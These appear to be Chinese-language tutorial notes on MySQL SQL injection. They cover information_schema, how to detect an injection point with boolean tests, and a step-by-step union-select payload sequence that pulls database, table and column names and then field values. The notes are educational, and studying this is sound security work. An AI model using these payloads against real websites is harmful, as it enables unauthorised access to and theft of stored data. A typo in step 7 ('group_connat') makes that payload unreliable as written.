SQL注入
SQL注入就是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术
SQL注入产生原理
SQL注入的分类
SQL注入的危害
分为两类:危害数据库里的数据,直接危害到网站的权限(需要满足条件)
MYSQL数据库
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
。。。。。。
数据库C=网站C=数据库用户C
。。。。。。
必要知识
Information_schema.tables:记录所有表名信息的表
Information_schema.columns:记录所有列名信息的表
Table_name:表名
Column_name:列名
Table_schema:数据库名
User() 查看当前MYSQL登陆的用户名
Database() 查看当前使用MYSQL数据库名
Version() 查看当前MYSQL版本
如何判断注入点
单引号’
And 1=1
And 1=2
Select * from users where id=1 and 1=1 limit 0,1 正常
Select * from users where id=1 and 1=2 limit 0,2 错误
真且真 = 真
真且假 = 假
真或假 = 真
Select * from users where id=1 真
1=1 真
1=2 假
真且真=真
真且假=假
Select * from users where id=1 or 1=1 limit 0,1 正常
Select * from users where id=1 or 1=2 limit 0,1 正常
SQL注入利用
1.根据注入位置数据类型将sql注入分类
2.利用order判断字段数
Order by x(数字) 正确与错误的正常值 正确网页正常显示,错误网页报错
?id=1’ order by 3 --+
3.利用union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数
?id=-1 union select 1,2,3 --+
4.利用函数database(),user(),version()可以得到所侦测数据库的数据库名,用户名和版本号
?id=-1 union select 1,database(),version() --+
5.利用 union select 联合查询,获取表名
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’已知库名’ --+
6.利用 union select 联合查询,获取字段名
?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’已知表名’ --+
7.利用 union select 联合查询,获取字段值
?id=-1’ union select 1,2,group_connat(已知字段名,’:’,已知字段名) from 已知表名 --+